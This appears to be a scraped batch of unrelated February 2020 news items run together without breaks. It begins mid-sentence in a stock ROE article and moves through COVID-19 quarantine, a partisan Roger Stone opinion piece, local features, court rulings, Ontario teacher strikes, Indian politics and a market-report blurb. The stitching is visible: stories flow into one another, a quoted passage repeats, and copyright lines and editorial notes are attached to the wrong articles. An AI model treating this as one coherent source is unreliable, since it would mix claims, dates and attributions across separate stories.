clearly a positive. We think a high ROE, alone, is usually enough to justify further research into a company. For example, I often check if insiders have been buying shares. Story continues How Does Debt Impact Return On Equity? Virtually all companies need money to invest in the business, to grow profits. That cash can come from retained earnings, issuing new shares (equity), or debt. In the case of the first and second options, the ROE will reflect this use of cash, for growth. In the latter case, the debt required for growth will boost returns, but will not impact the shareholders' equity. In this manner the use of debt will boost ROE, even though the core economics of the business stay the same. Combining China Nonferrous Mining's Debt And Its 14% Return On Equity Although China Nonferrous Mining does use debt, its debt to equity ratio of 0.89 is still low. The fact that it achieved a fairly good ROE with only modest debt suggests the business might be worth putting on your watchlist. Careful use of debt to boost returns is often very good for shareholders. However, it could reduce the company's ability to take advantage of future opportunities. The Key Takeaway Return on equity is a useful indicator of the ability of a business to generate profits and return them to shareholders. In my book the highest quality companies have high return on equity, despite low debt. All else being equal, a higher ROE is better. But when a business is high quality, the market often bids it up to a price that reflects this. The rate at which profits are likely to grow, relative to the expectations of profit growth reflected in the current price, must be considered, too. Check the past profit growth by China Nonferrous Mining by looking at this visualization of past earnings, revenue and cash flow. If you would prefer check out another company -- one with potentially superior financials -- then do not miss thisfree list of interesting companies, that have HIGH return on equity and low debt. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Canberra, Feb 21 : Two Australians evacuated from the Diamond Princess cruise ship, which has been quarantined in a port in Japan, have contracted the deadly coronavirus (COVID-19), a health official said here on Friday. Out of the six people who were identified as having minor respiratory symptoms and/or fever when they arrived at the quarantine centre outside Darwin, Northern Territory, two have since been tested positive for the virus, Efe news quoted Australia's Chief Medical Officer Brendan Murphy as saying. Both remain "well" in a separate isolation zone at the facility where the 164 Australians evacuated from the cruise ship arrived on Thursday to begin 14 days of quarantine. "Given there was continued evidence of spread of infection on board the Diamond Princes in recent days, the development of some positive cases after return to Australia is not unexpected, despite all of the health screening before departure," Murphy said. All passengers were screened before leaving the Diamond Princess in Yokohama port and none tested positive for the virus. They were then screened again on arrival at the air force base in Darwin and again at Manigurr-ma Village in Howard Springs where the quarantine facility - an abandoned mining camp - is located. The facility is Australia's second of its kind, after the government said the one at Christmas Island detention centre, holding almost 300 evacuees from the Chinese city of Wuhan, the epicentre of the outbreak, was full. Those quarantined continue to be closely monitored and the health officials are "well prepared for the possibility of people in quarantine becoming unwell," with the operation posing no risk to the community, Murphy said. On Thursday, an 87-year-old man and an 84-year-old woman, both of Japanese nationality and with previous health complications, became the first two victims of COVID-19 among the Diamond Princess passengers. The Diamond Princess lockdown began after an 80-year-old passenger from Hong Kong who boarded the ship for a five-day cruise on January 20 tested positive for the coronavirus on February 1, six days after leaving the ship. This prompted the Japanese authorities to quarantine the vessel in the Yokohama port. Judge Amy Berman Jackson, an Obama appointee, handed down Roger Stone's sentence today: 40 months. That's 40 months longer than anything done to James Comey, Andrew McCabe, Hillary Clinton, James Clapper, or the other Deep State actors, but it's significantly less than the 79 years Mueller's rabid crew sought for him. To offset the more lenient sentence, Jackson went on an anti-Trump rant. Roger Stone is not an appealing character, but even unappealing characters can get railroaded. The broad outlines of what happened are that James Comey inveigled Trump into appointing Robert Mueller as an "independent prosecutor" charged with investigating whether Trump conspired with Russia to win the election; that Mueller and his attack dogs knew within days of beginning the investigation that the foundational accusations were lies; that the Mueller team nevertheless dragged the investigation out for two years and $35 million, all the while trying to find something against Trump; and that, along the way, the Mueller team set out to ruin anyone close to Trump, tangling all of them up with process crimes and threats of personal destruction. Roger Stone was one of those caught in the tainted Mueller net. He told lies that are the normal currency in Washington, D.C. People such as Comey; Clinton (both Clintons, actually); McCabe; Brennan; Clapper; and others told similar lies but nevertheless were able to walk away with TV gigs and book deals. He also fulminated at another witness, issuing threats and asking him to lie, demands and threats so impotent that the witness considered them laughable. When the FBI arrested Stone, instead of talking to Stone's lawyer to arrange for him to turn himself in, the FBI did a pre-dawn SWAT raid, with CNN cameras conveniently located nearby. Then Mueller's attorneys put Stone in front of Judge Amy Berman Jackson, an Obama appointee. Interestingly enough, before Trump's presidency, Berman was a slightly left-leaning but otherwise reasonably even-handed judge. Sure, she ruled that the Catholic Diocese of Washington had to provide contraceptives under Obamacare, but she also ruled against the National Labor Relations Board, the Obama-era EPA, and U.S. rep. Jesse Jackson, Jr., who got a 30-month sentence, for misusing campaign funds. When Trump came into office, though, Jackson became a resistance judge. She dismissed a wrongful death complaint against Hillary brought by parents of two of the men who died in Benghazi. She placed Paul Manafort in solitary confinement, muzzled Manafort's and Rick Gates's attorneys, and allowed special counsel to walk away from a plea deal. She's been equally draconian with Roger Stone, placing gag orders on him and his attorneys and insisting on sentencing him before conducting a hearing about the jury foreperson who lied about the fact that she was a rabid Trump- and Stone-hater. It should be no surprise, then, that Jackson used the sentencing hearing to go off on a rant about Trump: [S]he turned his sentencing hearing into a stunning rebuke not just of Stone but of the president himself, saying the prosecution was not brought by 'political enemies,' and that there was no 'anti-Trump cabal' at the hear[ing] of the case. 'He was not prosecuted, as some have complained, for standing up for the president, he was prosecuted for covering up for the president,' she said. 'There was nothing unfair, phony or disgraceful about the investigation or the prosecution.' Democrats pointed to Trump's earlier tweets against Jackson to justify her partisan attack: [S]he turned his sentencing hearing into a stunning rebuke not just of Stone but of the president himself, saying the prosecution was not brought by 'political enemies,' and that there was no 'anti-Trump cabal' at the hear of the case. 'He was not prosecuted, as some have complained, for standing up for the president, he was prosecuted for covering up for the president,' she said. 'There was nothing unfair, phony or disgraceful about the investigation or the prosecution.' Democrats pointed to Trump's earlier tweets against Jackson to justify her partisan attack: Is this the Judge that put Paul Manafort in SOLITARY CONFINEMENT, something that not even mobster Al Capone had to endure? How did she treat Crooked Hillary Clinton? Just asking! https://t.co/Fe7XkepJNN Donald J. Trump (@realDonaldTrump) February 12, 2020 What both Jackson and the Democrats fail to understand is that Trump is a political figure who does not need to appear impartial. Jackson, however, is a judge, and the entire basis of trust in the judicial system is the belief that judges are impartial. Jackson exploded that myth. Trump-the-politician, meanwhile, gets the final word as to this political witch hunt: EDWARDSVILLE After 19 years as research manager, Mary Westerhold has retired from the Madison County Archival Library, but her love for history hasnt changed. Westerhold stated as a volunteer at the archival library in the fall of 1999 and joined its staff in December 2000. She retired Feb. 7. She currently works part-time at the Edwardsville Public Library, babysits her granddaughter and does various projects for the Madison County Genealogical Society. Any time you leave a job youve been at that long, its hard to do, but a lot of things have changed in that time, said Westerhold, who spent more than 20 years in the insurance industry and has a degree in actuarial science. I had never stayed at any other job this long, she said. It was a perfect storm of events and it was time for me to go. Im leaving with mixed feelings and Ill miss the people I worked with. The Madison County Archival Library is at 801 N. St., Edwardsville, next to the Madison County Historical Museum which is currently closed for renovation. The county leases the societys assets and operates the museum and archival library, providing salaries for staff, utilities and other operating expenses. It was always fun, and we had a good time, she said of her work at the archival library. Even though Im gone, there are plenty of people there who can help them out. Nobody is irreplaceable and we still have a great staff. Working at the archival library was a labor of love for Westerhold, who has a special interest in genealogy and local history. When I first started, the people who were there before me were patient in answering all my questions, she said. I have an obsession with cemeteries, and I did a lot of research on that. Those people did a tremendous job of indexing our resources. People would come in and do research and the majority was either family history or the history of their house, and a lot of the history of their house was also about their families, she said. We would help them with the resources we had at the library and we have a great collection of photos and scrapbooks. It was a reference library, so they couldnt take anything out. There may be few people who know more about the history of Edwardsville and Madison County than Westerhold. But she said there is always much more to learn. The more you do research, the more you learn and the more you can help people with their research, she said. Im not sure if I know that much more than anybody else. But I know where to find things or who to turn to ask questions. Westerhold said she has seen a corresponding increase in the number of people coming to the Madison County Archival Library to search for their family history. Thats what sparked my interest in cemeteries, and I do a lot of family history research for my own family, she said. You cant do genealogy or history without doing both of them because theyre all connected. One of her projects was Voices of the Past held several years at Woodlawn Cemetery. The event featured costumed graveside actors discussing the history of the cemetery and the lives of Edwardsville residents in the mid-1800s. The stories were written and researched by Westerhold, who examined census records, newspaper articles, obituaries, centennial books and social columns from early newspapers. A good friend of mine helped me get all the actors and all the clothing, she said. We had great actors and actresses who really got into it and it was a lot of fun to do. Westerhold was also involved with the Madison County Historical Societys Dining in History event at St. Boniface Catholic Church in Edwardsville in November 2018. She also did a history book for St. Boniface. Ive done a lot of presentations for different groups and I always enjoyed those, Westerhold said. I did a history book for the 200th anniversary of Madison County and we worked on a display that was set up in the administration building. Any presentation Ive done, Ive always learned as much as I feel like Ive given to other people, she said. The historical society owns the buildings and artifacts in the museum and archival library. It also pays for materials required to properly archive items in the collections, housekeeping and other regular expenses. Its primary financial obligation has been to obtain large donations to obtain buildings and make repairs to them. I dont know of any other county that does it this way, Westerhold said. It started a long time ago because the historical museum originally was one room in the county courthouse. When the historical society purchased the warehouse for the museum, the situation changed a little bit. The county government was still supporting it, but as it expanded, it was totally different. The county has always been very supportive of the historical society, she said. It is co-funded, but the majority of funding for our (library) staff comes from the county. The historical society does other things as well and they purchase all of our preservation supplies because our job is to preserve the items that are donated to us. The archival library is a hidden gem because a lot of people dont realize the information that is there, Westerhold said. The photo collection is amazing. The information has been gathered over the years and has been indexed by previous librarians. We have scrapbooks and everything is easy to find. Divvy Homes, a San Francisco-based real estate technology startup, launched in San Antonio earlier this week, bringing its modern version of rent-to-own home-buying the company says will expand home-ownership to more people. As the cost of higher education rises and housing prices have outpaced income growth, home-buying has eluded many young adults. The national home ownership rate among adults 35 and younger has declined from nearly 41 percent in 2000 to 36.7 percent last year. And among adults ages 35 to 44, the U.S. home ownership rate fell to 60 percent last year, down from 67.8 percent in 2000, the Census Bureau says. Divvy works by allowing you to find a home within your budget thats in good condition, and Divvy pays for repairs to the home. After finding a qualifying home, you pay a 2 percent down payment and Divvy then buys the home and leases it back to you for three years. Over that time, you pay rent and an equity payment every month to Divvy. By the end of the third year, the thinking goes, youve built up 10 percent equity in the home enough to make a down payment and buy the home back from Divvy. We are trying as a company to stand behind our mission to increase the amount of homeowners, and transition current renters into whats been the greatest wealth generator for Americans, said Nick Fong, head of market launch with Divvy. The updated rent-to-own model targets a narrow band of people, however. The ideal candidate for Divvy is someone with low to moderate credit generally with a credit score of 550 or higher but who has a job or steady income. To qualify, home buyers also should have an annual household income of $40,000 or more, Fong said. That could include recent college graduates saddled with debt or contractors with intermittent employment who may not be able to receive a bank-issued home loan. What theyre aiming their product for is a specific part of the market those who dont have access to credit, said Joshua Roberson, a senior data analyst at the Texas A&M Real Estate Center. There is a place for that, but in terms of how big that is in the total puzzle, I dont think were going to see a huge change in home ownership because of that. If you decide to walk away from the home during the three-year lease period, Divvy will keep the down payment and a percentage of the home purchase price as a fee to re-sell the home. The rent-to-own system isnt necessarily cheap for buyers in the short term. Divvy is not the answer for every customer, Fong said. A homebuyer in San Antonio looking for a starter house might come across a small, three-bedroom home in the Jefferson Heights neighborhood listed at $155,000, for example. For the no-frills home, the initial down payment to Divvy would be $3,100. Each month, the buyer would pay Divvy around $1,550 about $1,180 in monthly rent, plus a $370 equity payment. That may not seem affordable to less financially-secure buyers, but Fong says: Its not just renting a home. Youre renting a home, plus building savings in the home. Rent-to-own home ownership programs historically have been fraught with predatory practices, and have had limited success increasing home ownership. Home Partners of America, which also operates in San Antonio, is comparable to Divvy but doesnt require tenants to make equity payments. HPA has made limited inroads in the markets it operates in. In Tampa Bay, Fla., the company said just 39 of 838 families it rented homes to have gone on to buy the house, a Tampa Bay Times report states. Rent-to-own schemes, where companies purchase dilapidated homes and rent them out to tenants under dubious agreements and without performing any repairs, have mushroomed. One company, Vision Property Management, has been sued in three states for preying on low-income individuals who want to a buy homes. The firm rented out homes in disrepair, and made tenants unknowingly responsible for the costly repairs. But Divvy says its using technology and data science to clean up the process and better identify the right homes to purchase and to properly qualify buyers. Even so, real estate agents expressed some skepticism of the program. Potential homebuyers interested in Divvy should explore all other financing options, said Kim Bragman, a real estate agent and chairman of the San Antonio Board of Realtors. It certainly is an option for buyers if they have credit issues, Bragman said. But our position really is that (homebuyers) talk with a lender, because there are a lot of paths to home ownership that the consumer may not be aware of. They think they need to put 20 percent down, and thats just not the case anymore. There are a lot of options. Fong said Divvy is looking to purchase 500 homes in San Antonio in its first year in the market. The company seeks homes priced from $100,000 to $350,000, but Fong said the target price is $200,000 in San Antonio. But the number of houses in the price range is already limited, Roberson said. It doesnt address the supply issue, he said. The thing is, $150,000 to 250,000, the market is pretty tight for that category of homes. There's not a lot of supply you still have to overcome that. Mariana Castillo, a Keller Williams real estate agent who has worked with Divvy, said via email that she was optimistic about Divvys ability to boost home ownership in San Antonio. We get so many clients who get so discouraged when they hear a no from a lending company, so we are excited to introduce them to this amazing program, she said. While the demand may be limited, Roberson said Divvy offers advantages to some homebuyers, and is part of a larger technology-based effort to reorient the real estate industry. Its a good, structured way to get people moving (towards home ownership), but more importantly, to get people in the homes where they want to be in now, Roberson said Theres something to be said about being in a home where your kids can be in a good school and not have that looming knowledge thats youre going to have to move. diego.mendoza-moyers@express-news.net One of the nine victims of a shooting spree in the German city of Hanau this week was a Romanian citizen, Romania's president, Klaus Iohannis, tweeted early on February 21. "I have found out with deep sadness that a Romanian citizen was among the victims of the violent attacks in Hanau, Germany," Iohannis wrote. Romanian media reports said the victim is Viorel Paun, a 23-year-old man from a village in the southern Giurgiu county. Germany's public prosecutor said nine people of foreign descent were killed in a pair of attacks in Hanau late on February 19, before the alleged shooter -- identified as Tobias R -- returned to his home and killed himself and his 72-year-old mother. The authorities believe he acted alone and are investigating the case as an act of terrorism. Chancellor Angela Merkel said the attack was motivated by racism. "Racism is a poison. Hatred is a poison. And this hate exists in our society," Merkel said in her first reaction to the news. In response to the attack, Germany's Social Democrats (SPD), who are part of the ruling coalition, called for the domestic intelligence services to monitor the activities of the far-right Alternative for Germany (AfD), currently the largest opposition party in parliament. There is no proven link between the shooter and the AfD. Several party members denounced the shooting on February 20. Based on reporting by dpa, Digi24.ro, g4media.ro, and evz.ro SUNRISE, Fla., Feb. 21, 2020 /PRNewswire/ -- A bullying prevention initiative designed to promote inclusion among students was celebrated at three Florida schools this month with the help of Sunshine Health. The schools included Skyway Elementary and Twin Lakes Elementary in Miami, and J.E.B. Stuart Middle in Jacksonville. Representatives from Sunshine Health hosted an assembly at each school in honor of National No One Eats Alone Day, created by the non-profit Beyond Differences. More than 750 students participated in activities designed to teach them about social isolation and the negative impact it can have on a student's health and academic performance. The students engaged in a simple act of kindness at lunch making sure no one is eating alone by sitting with students they didn't know. They were given icebreaker topics to spur conversations and highlight their commonalities. Social isolation affects millions of students and has been identified as a precursor to bullying, self-harm and community violence. Students have shown that if they are given the tools, they will stand up for others as empathetic and caring activists, not passive bystanders. "We recognize the negative impacts bullying and social isolation can have on a child's overall health," said Chris Coffey, CEO of Sunshine Health. "We are proud to partner with Beyond Differences to celebrate No One Eats Alone Day and raise awareness about social issues impacting the health of our children." "Social isolation is a preventable public health problem," said Laura Talmus, co-founder and executive director of Beyond Differences. "We've learned through teachers and families that No One Eats Alone Day is a powerful step and positive initiative that can change the culture in schools to be a more welcoming place for all." The three Florida schools joined more than 2,500 schools across the country to celebrate No One Eats Alone Day. The initiative reached more than 1 million students in all 50 states. No One Eats Alone Day is sponsored by the Centene Charitable Foundation. About Sunshine Health Headquartered in Sunrise, Fla., Sunshine Health is among the largest healthcare plans in Florida. Offering coordinated care and a network of support for more than 1 million members, Sunshine Health is transforming the health of the community, one person at a time. Sunshine Health is a wholly owned subsidiary of Centene Corporation, a diversified, multi-national healthcare enterprise focusing on under-insured and uninsured individuals. Sunshine Health offers government-sponsored managed care through Medicaid, Long Term Care, Ambetter (Marketplace) and Allwell (Medicare). Additionally, we offer a specialty Medicaid health plan for children in or adopted from Florida's Child Welfare system. For more information, visit SunshineHealth.com or follow us on Facebook and Twitter @SunHealthFL. SOURCE Sunshine Health Related Links http://www.sunshinehealth.com (Newser) Reports that intelligence officials informed Congress that Russia is meddling on President Trump's behalf in the 2020 election have caught Trump's attention, and he's not happy with the newsspecifically that the lawmakers were informed about it. Sources told the New York Times and Washington Post that during the closed-door Feb. 13 briefing to the House Intelligence Committee, intel officials warned that Russia wants a Trump win in 2020, and that it has already started interfering to help make that happen, with plans to also disrupt the Democratic primaries, weaponize social media, and go after election infrastructure. Trump is reportedly angry that the briefing took place, which CNN's Stephen Collinson notes he found out about from GOP Rep. Devin Nunes. story continues below The target he's lashing out at (besides Joseph Maguire, fired this week by Trump as the acting director of national intelligence)? "Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa. Hoax number 7!" he tweeted Friday, per the Hill. Lawmakers on the intel panel haven't released any details on the classified briefing. Trump was said to be miffed because he's concerned Democrats (specifically Rep. Adam Schiff, who led impeachment proceedings against him) may try to use that info against him. (Read more Election 2020 stories.) Miramar police issued an arrest warrant for Frederick Eugene, whos suspected of murdering a 31-year-old father of four. Thursday, the department asked for the communitys help in finding him. By Thursday night, the department said Eugene, 33, had turned himself in and was in custody. Police say Eugene fatally shot Jimmy Fleurimond in the early morning of Jan. 31. The incident happened near the 6300 block of Southwest 27th Street in Miramar. Its unclear why Eugene shot Fleurimond. Officers say Fleurimond, whose youngest was a four-month-old daughter, worked as a chef. Jimmy Fleurimond (center) poses with family members. The 31-year-old father of four was shot and killed January 31, 2020 in Miramar. Miami-Dade court records show Eugene was convicted of armed robbery in 2008 and had multiple probation violations, the most recent of which occurred in 2012. Miami Herald staff writer Carli Teproff contributed to this report. A federal judge has ruled the U.S. Army Corps of Engineers isnt liable to damage to thousands of Houston homes that were inundated by two federally owned reservoirs in the days following Hurricane Harvey because they would have flooded regardless. U.S. Judge Loren A. Smith of the Court of Federal Claims on Tuesday dismissed the case against the government. Smith said property owners downstream of the Addicks and Barker dams, located about 20 miles west of downtown Houston, had no grounds to sue given the unprecedented nature of Harveys flooding in 2017. This storm, which overwhelmed the systems capacity was classified as a once in 2000-year event Smith wrote. The answer of what caused the damage is thus inescapable to the Courts eye and mind. The damage was caused by Hurricane Harvey, and such a hurricane is an Act of God, which the government neither caused nor committed. Another judge from the same court ruled in December that the Army Corps was liable for damage caused to property owners from water that backed up above the dams. The Army Corps operation of the two reservoirs became a major flash-point and the subject of sweeping legal actions after Harvey as homes located both upstream and downstream of the dams flooded. Hurricane Harvey, which made landfall as a Category 4 storm on Aug. 25, 2017, killed 68 people and caused an estimated $125 billion in damage in Texas. In the Houston area, Harvey caused 36 deaths and flooded more than 150,000 homes. During Harvey, the reservoirs behind the dams got so full that the Corps released a deluge into Buffalo Bayou, which has been boxed in by development. Those controlled releases,which the Corps increased substantially in the storms aftermath, propelled water into thousands of homes and businesses that would not have otherwise flooded. Their wwners felt they had emerged from the fiercest rainstorm in modern U.S. history largely unharmed. Attorneys for some downstream plaintiffs said they were disappointed with the judges conclusions. Judge Smiths ruling is also contrary to other case precedents, either from the Supreme Court or the Court of Federal Claims, said the lawyers from McGehee Chang, Landgraf, Feiler, noting they may consider an appeal. Smith set up a telephone status conference concerning the case for Feb. 26. Law firms representing other downstream property owners noted that they were still reviewing the ruling. The U.S. Department of Justice did not respond to media requests for comment. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Legislation USA Flood Hurricane All four teachers unions are expected to strike Friday if the province fails to make a deal with Catholic and French-board educators at the bargaining table Thursday. Some 200,000 teachers could be off the job at the 5,000 schools affected by the first legal mass strike by educators in the province. The Star spoke with eight students to hear their thoughts on what teachers are asking for and how theyve been affected by the continuing strikes and job actions. Taylor Dallin, student trustee with the Toronto Catholic District School Board and co-ordinator with the Ontario Student Trustees Association Grade: 12 School: Cardinal Carter Academy for the Arts Board: Toronto Catholic District School Board How many days missed: One I recognize the right and the need to negotiate for a deal. I cant take a side in this, but I think just seeing whats going on, students would just like to see a fair solution. Students want to see some progress being made, and the issue at hand is the uncertainty students are feeling; we dont know whats going on. We dont hear whats happening at the bargaining table, so a lot are worried about not graduating on time, too. The stakes are really high. Brianna Ziehl Grade: 12 Board: Toronto Catholic District School Board How many days missed: One I understand why (the teachers) are striking, and, honestly, I think theyre striking because they want to improve our education, rather than the opposite. When you think about what a teacher is or should be, you think that they should be looking out for our best interests and (should) promote learning, and, I, personally, think thats what theyre doing when theyre striking. As much as I understand why the teachers are doing it, its hard for us. Theres our marks for universities. Were trying to plan our proms and upcoming events. Scheduling tests and presentations are becoming near impossible. Jade Bilodeau, student trustee with the Niagara Catholic District School Board. Grade: 12 School: St. Paul Catholic High School in Niagara Falls Board: Niagara Catholic District School Board How many days missed: Two Students want to be communicated with. I definitely see an increased concern among students about being outside of the classroom. I think that the most important part, regardless of the two different sides, is that theres an understanding that students are at the forefront of whats happening, and that students are being supported in the decisions that are being made, because, ultimately, thats what its all about. Justine Mackay, student trustee with the Kawartha Pine Ridge District School Board. Grade: 11 School: Bowmanville High School Board: Kawartha Pine Ridge District School Board How many days missed: Three I think concerns are beginning to rise, with students out of the classroom environment with the semester starting to pick up. I think the best way that students can relieve that stress and not think about exams and finals is through clear communication from both sides, so we can know exactly what is happening and how well be impacted. Noah Sparrow Grade: 11 School: Northern Secondary School in Toronto Board: Toronto District School Board How many days missed: Three Im in support of the strike tomorrow. I like how the message is being put across, and I like how its being done in a way that isnt impacting students too much. Its not costing us too much school, while also still sending the message to the provincial government. Weve had 56 courses cut. There werent enough teachers to teach the amount of courses that people wanted, and the classes that had less than 20 students got cut, which led to a lot of humanities and art courses cut. I dont like the way the (province) has responded; it seems to me theyre out to demonize teachers, rather than getting an equitable solution that doesnt jeopardize students. Isaiah Stride-Shafqat: area co-chair with the Toronto District School Board Student Senate Grade: 9 School: Riverdale Collegiate Institute Board: Toronto District School Board How many days missed: Three I personally believe that the province should stop the cuts to education system, so that boards are able to afford necessary resources to give each and every student equal chances and opportunity to be successful. The teachers union should push to stop education cuts and the larger class sizes. The cuts have also impacted the TDSB Student Senate; it has caused us to lose money for different programs and events we run to help students with their leadership skills. Ivy Deng: student trustee with the Toronto District School Board Grade: 12 School: Earl Haig Secondary School Board: Toronto District School Board How many days missed: Three Its really messed with the schedule and a lot of tests needed to be rescheduled. And its putting a lot of pressure on students. If the government is trying to villainize teachers for doing something as simple as striking to fight for them, they should look at what theyre doing themselves. They should also be willing to villainize themselves for cutting our classes, lowering our class sizes, cutting funding to specialized education, art programs, IB programs and after-school programs. Clarity Smoke: Indigenous student trustee with the Toronto District School Board Grade: 9 Board: Toronto District School Board How many days missed: Three It doesnt only affect students; it also affects parents. Theres a lot of reports of parents who cant find people who can babysit or they dont have financial support to get money to babysit their kids. I hope that theres more awareness of whats actually going on with all the strikes and why (the teachers) are still striking, because theres a lot of youth that dont know what theyre striking (for). TY Tom Yun is a breaking news reporter, working out of the Star's radio room in Toronto. Follow him on Twitter: @thetomyun Read more about: Our Divisions Copyright 2021-22 DB Corp ltd., All Rights Reserved This website follows the DNPA Code of Ethics. In an obvious reference to the Shaheen Bagh protesters in Delhi, Kerala governor Arif Mohammad Khan on Friday said forcing an opinion on others by disrupting normal life was also a form of terrorism. Aggression does not come in the form of violence only. It comes in many forms, Khan said at the ongoing 10th edition of the Indian Student Parliament organised by the MIT-School of Government in New Delhi. If you do not listen to me, I will disrupt normal life, he said, citing one example of the form it could take. He was addressing a session on Combating terrorism, insurgency and Naxalism issues and challenges. Khan said: Dissent is the essence of democracy. There is no problem. But, if a few people sit outside the Vigyan Bhawan and say we shall not move from here unless this parliament of students adopts a resolution which we would like them to adopt, that is another form of terrorism. Since Parliament passed the Citizenship (Amendment) Act , or CAA, in December 2019, protests have erupted in across the country, and are ongoing. The protest at Shaheen Bagh in the national capital against the CAA and the National Register of Citizens (NRC) has been the most talked about. On for more than two months, the protest has led to the blocking of a road that connects Delhi with Noida, a satellite city. Two rounds of talks between the protestors and Supreme Court-appointed interlocutors have ended inconclusively. Do not try to impose your thoughts in the name of [freedom of speech and] expression on to others, Khan said. Acknowledging that one had every right to express how one felt about a subject, he said, Everyone of us must respect that right. But will you say that I shall disrupt normal life? The term dharma, often used to mean religion, actually meant duties, Khan said, adding, Before you claim rights, do your duties and when you claim a right, then respect the rights of others. Democracy took roots in India when it failed in other similar countries, because India has always been a pluralist society where spiritual democracy was deeply embedded and was a way of life, Khan said.It was easy for us to accept the concept of social and political equality. Earlier, addressing a special session on leadership, senior Congress leader, Jyotiraditya Scindia, said Prime Ministers and chief ministers should be restricted to a single term. He clarified that he was expressing his personal views. Breaking down the key qualities of a successful leader, Scindia said a successful leader must have vision for his people, which looks for a paradigm shift. Courage and commitment to follow the course despite odd is a crucial quality. The other key qualities, he said, were optimism about the future, belief in teamwork and, most importantly, compassion. Freelance reporter Ahmer Khan dedicated his 2019 Agence France-Presse Kate Webb Prize to his colleagues in the Kashmir journalist corps. Hailing their resilience, Khan added: "This award comes at a time when my fellow journalists in Kashmir have been harassed and stopped from performing their professional duties. "Yet, they have stood their ground and continued to work without fear. This is a collective award. "I want to express my gratitude to my fellow journalists, editors, friends, family and my mother for their constant support," Khan added. "Your support, love and motivation has kept me on the move." Khan, 27, who has worked for RFI as well as The Guardian and the New York Times in the region, was honoured on Thursday for a series of video and written reports that illustrated the impact on locals in the Muslim-majority area of India's decision to strip Kashmir of its semi-autonomous status in August. The country's Hindu-nationalist government imposed restrictions on movement and a communications blackout, virtually cutting the Himalayan region off from the outside world. Decision India insisted the move was aimed at bringing prosperity and peace to a region where tens of thousands of people have died in a decades-old separatist rebellion that India blames on Pakistan. Despite curfews and a heavy security presence, Khan took to the streets with his camera to document the tensions, concerns and frustrations among the residents of Srinagar and other cities in Kashmir. Unable to skirt the communications shutdown, he flew in and out of Delhi to file his stories. Essence Such enterprise and tenacity, the award committee decided, echoed the spirit of Kate Webb, one of AFP's finest correspondents in the Middle East and Asia up until her retirement in 2001. The prize was established in her honour in 2008, a year after her death at the age of 64. "Reporting from Kashmir at this time has been extremely challenging for everyone, including the established foreign media," said AFP's Asia-Pacific regional director Philippe Massonnet. Story continues "For an independent, local journalist those challenges have been far greater, and it is to Ahmer's enormous credit that he managed to provide accurate, high-quality journalism when it was so sorely needed." Khan said he would give a portion of his 3,000 euro prize money to a Kashmiri photojournalist who was forced to do manual labour due to a communications blockade. He added: "Thank you, @AFP and Webb family for recognising my work. I will continue to tell stories, without which, injustice will continue to place unnoticed." [Follow our live analysis of the Biden inauguration.] LAS VEGAS In at least three campaign appearances over the past two weeks, Joseph R. Biden Jr. has told a similar story as he tries to revive his campaign in states with more diverse voters. On a trip to South Africa years ago, he has said, he was arrested as he sought to visit Nelson Mandela in prison. This day, 30 years ago, Nelson Mandela walked out of prison and entered into discussions about apartheid, Mr. Biden said at a campaign event in South Carolina last week. I had the great honor of meeting him. I had the great honor of being arrested with our U.N. ambassador on the streets of Soweto trying to get to see him on Robbens Island. Mr. Biden referred to his own arrest twice more in the next seven days, including at a campaign stop here on Tuesday where he spoke of getting arrested in South Africa between efforts to coax his wife to marry him. That proposal occurred in 1977, both Bidens have said. But if Mr. Biden, then a United States senator from Delaware, was in fact arrested while trying to visit Mr. Mandela, he did not mention it in his 2007 memoir when writing about a 1970s trip to South Africa, and he has not spoken of it prominently on the 2020 campaign trail. A check of available news accounts by The New York Times turned up no references to an arrest. South African arrest records are not readily available in the United States. Dublin, Feb. 21, 2020 (GLOBE NEWSWIRE) -- The "Cell Therapy Manufacturing Market (3rd Edition), 2019 - 2030" report has been added to ResearchAndMarkets.com's offering. Cell Therapy Manufacturing Market (3rd Edition), 2019-2030 features an extensive study of the current market landscape and future opportunities associated with cell therapy manufacturing. It focuses on both contract manufacturers, as well as developers with in-house manufacturing facilities, offering in-depth analyses of the various business entities that are engaged in this domain, across different global regions. One of the key objectives of the report was to understand the primary growth drivers and estimate the future size of the cell therapy manufacturing market. Based on parameters, such as number of ongoing/planned clinical studies, cell therapy manufacturing costs, target patient population, and anticipated adoption of such products, we have provided an informed estimate of the likely evolution of the market in the short to mid-term and mid to long term, for the period 2019-2030. In addition, to account for the uncertainties associated with the manufacturing of cell-based therapies and to add robustness to our model, we have provided three forecast scenarios, portraying the conservative, base and optimistic tracks of the market's evolution. Market Insights Till date, more than 20 cell-based therapies have been approved (recent examples include Zynteglo (2019), Alofisel (2018), YESCARTA (2017) and Kymriah (2017)), while over 500 product candidates are under development. In fact, there are over 1,000 active clinical studies of cell therapies, worldwide. Over the last few years, such therapies have garnered significant attention within the biopharmaceutical industry. Several companies and venture capital funds/investors have already invested a lot of capital towards the development and commercialization of this emerging class of therapeutics. Despite the optimism, the growth in this domain is still hindered by various development and manufacturing related challenges, primarily due to the limited availability of expertise and infrastructure to produce cell-based therapies, such as CAR-T cell therapies. The growing number of product development initiatives in this domain, coupled to the fact that there are multiple marketed products, have led to a substantial rise in the overall cell therapy manufacturing demand. As a result, developers have turned to contract manufacturing organizations (CMOs) to fulfil their cell therapy development and production requirements. A wide array of industry players, including well-established companies, mid-sized firms and start-ups, as well as academic institutes, are contributing towards fulfilling the aforementioned demand, offering GMP grade manufacturing services for cell therapies. In addition to cell therapy manufacturing companies, there are several other players that claim to have developed novel technology solutions, aimed at improving the existing cell therapy manufacturing process. Many CMOs are also actively expanding their cell therapy manufacturing capacity either through collaborations or acquisitions, in order to offer a wide range of services to their respective clients. As a result of the ongoing efforts aimed at mitigating the existing challenges in this domain, the cell therapy manufacturing market is expected to witness significant growth in mid-long term. Amongst other elements, the report includes: A detailed review of the overall landscape of companies that are engaged in the manufacturing of cell-based therapies, including information on the type of cells manufactured (including immune cells (including T cells, dendritic cells, NK cells), stem cells (including adult stem cells, human embryonic stem cells and induced pluripotent stem cells) and others), source of cells (autologous and allogeneic), scale of manufacturing, type of cell 